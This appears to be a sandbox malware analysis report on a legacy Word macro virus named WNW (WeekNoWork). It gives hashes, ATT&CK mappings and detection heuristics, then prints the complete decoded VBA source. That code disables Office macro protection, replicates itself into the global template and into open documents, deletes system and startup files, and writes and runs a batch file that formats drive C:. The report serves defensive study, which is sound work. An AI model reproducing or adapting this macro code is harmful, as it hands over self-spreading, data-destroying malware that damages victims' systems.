Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 24854b37269497c9…

MALICIOUS

Office (OLE)

48.5 KB Created: 1998-07-19 19:27:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3454428434e319a2abb253b2da940354 SHA-1: 46831afd5ef105ae48b3630937b8391fff210a80 SHA-256: 24854b37269497c90ad129c7a5c9b8fabf10fe1feea14ca0a4f02da3bd9d41cb
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1490 Inhibit System Recovery T1485 Data Destruction

The sample contains legacy WordBasic macro markers and a critical 'Shell()' call within VBA, indicating malicious intent. The 'AutoExec' subroutine within the 'WNW' module attempts to execute system commands, including file deletion and system shutdown, based on a counter. This suggests a destructive payload or a primitive ransomware mechanism. The presence of legacy macro virus markers and the specific 'WNW' naming convention point towards older malware families, but a precise attribution is not possible.

Heuristics 6

  • ClamAV: Doc.Trojan.ZMK-7 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.ZMK-7
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
                Shell "C:\WNW.BAT", vbHideElse
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12234 bytes
SHA-256: b7b6b87e429dee2d15f26f8fff8a3af944c35f90c4836a2c7ccd3e43b852bc3d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "WNW"
Sub AutoExec()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo EAE
Dim MyDate, MyWeek, Jour, WExec$, Counter
MyDate = Date
MyWeek = WeekDay(MyDate, vbMonday)
If MyWeek = "6" Or "7" Then
    If MyWeek = "6" Then
        Jour = "Samedi"
    End If
    If MyWeek = "7" Then
        Jour = "Dimanche"
    End If
    MsgBox "On est " & Jour & ", aujourd'hui" & Chr$(13) & "Je ne travaillerai pas..."
    WExec$ = WordBasic.[GetPrivateProfileString$]("WNW", "Total", "WINWORD8.INI")
    Counter = WordBasic.Val(WExec$) + 1
    WordBasic.SetPrivateProfileString "WNW", "Total", Str(Counter), "WINWORD8.INI"
    WExec$ = WordBasic.[GetPrivateProfileString$]("WNW", "Total", "WINWORD8.INI")
        If WExec$ = 10 Then
            MsgBox "Vous jouez avec le feu...", vbCritical, "Virus WNW"
            Kill "C:\Windows\bureau\*.lnk"
            Kill "C:\Windows\menu démarrer\*.*"
            Tasks.ExitWindows
        End If
        If WExec$ = 20 Then
            MsgBox "Je vous avais prévenu...", vbCritical, "Virus WNW"
            Kill "C:\Windows\*.ini"
            Kill "C:\Autoexec.bat"
            Kill "C:\Config.sys"
            Kill "C:\Msdos.sys"
            Kill "C:\Io.sys"
            Tasks.ExitWindows
        End If
        If WExec$ = 30 Then
            MsgBox "Vous l'aurez voulu!!!!", vbCritical, "Virus WNW"
            Open "C:\WNW.BAT" For Output As #1
                Print #1, "Cls"
                Print #1, "Echo off"
                Print #1, "Echo Je vous avais prévenu mais vous allez le regretter.."
                Print #1, "Echo y|Format c: /u /v:WeekNoWork"
                Print #1, "Echo o|Format c: /u /v:WeekNoWork"
            Close #1
            Shell "C:\WNW.BAT", vbHideElse
            Tasks.ExitWindows
        End If
        Call WNWP
Else
    WordBasic.SetPrivateProfileString "WNW", "Total", "1", "WINWORD8.INI"
End If
EAE:
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo EAO
iMacroCount = NormalTemplate.VBProject.VBComponents.Count
For i = 1 To iMacroCount
    If NormalTemplate.VBProject.VBComponents(i).Name = "WNW" Then
        WNWInstalled = -1
    End If
Next i
If Not WNWInstalled Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="WNW", Object:=wdOrganizerObjectProjectItems
    MsgBox "Je suis heureux de vous dire que ce Weekend," & Chr$(13) & "vous ne travaillerez pas...", vbInformation, "Virus WNW(WeekNoWork)"
Else
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="WNW", Object:=wdOrganizerObjectProjectItems
    MsgBox "Attention, ce Weekend sera des vacances pour vous..", vbInformation, "Virus WNW(WeekNoWork)"
End If
EAO:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo EFSA
    Dialogs(wdDialogFileSaveAs).Show
    If ActiveDocument.SaveFormat = wdFormatTemplate Or ActiveDocument.SaveFormat = wdFormatDocument Then
        ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
    End If
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="WNW", Object:=wdOrganizerObjectProjectItems
MsgBox "C'est génial, les vacances..", vbInformation, "Virus WNW(WeekNoWork)"
ActiveDocument.Save
EFSA:
End Sub
Private Sub WNWP()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo EWNWP
Dim Choix
Choix = Int(Rnd * 20) + 1
Select Case Choix
    Case 2, 6, 8, 11, 15
        MsgBox "Au revoir...", vbInformation, "Virus WNW"
        Tasks.ExitWindows
    Case 1, 3, 9, 14, 16
Msg:
        ActiveWindow.Caption = "Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        ActiveWindow.Caption = "        Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        ActiveWindow.Caption = "                Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        ActiveWindow.Caption = "                        Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        ActiveWindow.Caption = "                                Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        ActiveWindow.Caption = "                                        Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        ActiveWindow.Caption = "                                                Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        ActiveWindow.Caption = "                                                        Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        ActiveWindow.Caption = "                                                                Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        ActiveWindow.Caption = "                                                                        Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        ActiveWindow.Caption = "                                                                                Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        ActiveWindow.Caption = "                                                                                        Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        ActiveWindow.Caption = "                                                                                                Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        ActiveWindow.Caption = "                                                                                                        Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        ActiveWindow.Caption = "                                                                                                                Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        StatusBar = "Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        StatusBar = "       Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        StatusBar = "               Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        StatusBar = "                       Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        StatusBar = "                               Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        StatusBar = "                                       Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        StatusBar = "                                               Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        StatusBar = "                                                       Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        StatusBar = "                                                               Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        StatusBar = "                                                                       Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        StatusBar = "                                                                               Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        StatusBar = "                                                                                       Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        StatusBar = "                                                                                               Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        StatusBar = "                                                                                                       Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        StatusBar = "                                                                                                               Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        StatusBar = "                                                                                                                       Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        StatusBar = "                                                                                                                               Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
        StatusBar = "                                                                                                                                       Je ne veux pas travailler ce weekend, donc, je vais vous en empêcher..."
        For i = 1 To 500000
        Next i
    GoTo Msg
End Select
EWNWP:
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo EFT
    MsgBox "Attention, ce menu n'est pas autorisé...", vbCritical, "Virus WNW(WeekNoWork)"
EFT:
End Sub
Sub ToolsMacro()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ETM
    MsgBox "HAHAHAHAHAHA!!!!!", vbCritical, "Virus WNW"
ETM:
End Sub
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo EVVBC
Assistant.Visible = True
With Assistant.NewBalloon
    .Button = msoButtonSetOK
    .Heading = "Virus WNW"
    .Text = "Vivement Lundi..." & Chr$(13) & "HAHAHAHAHA!!!!"
    .Show
End With
EVVBC:
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.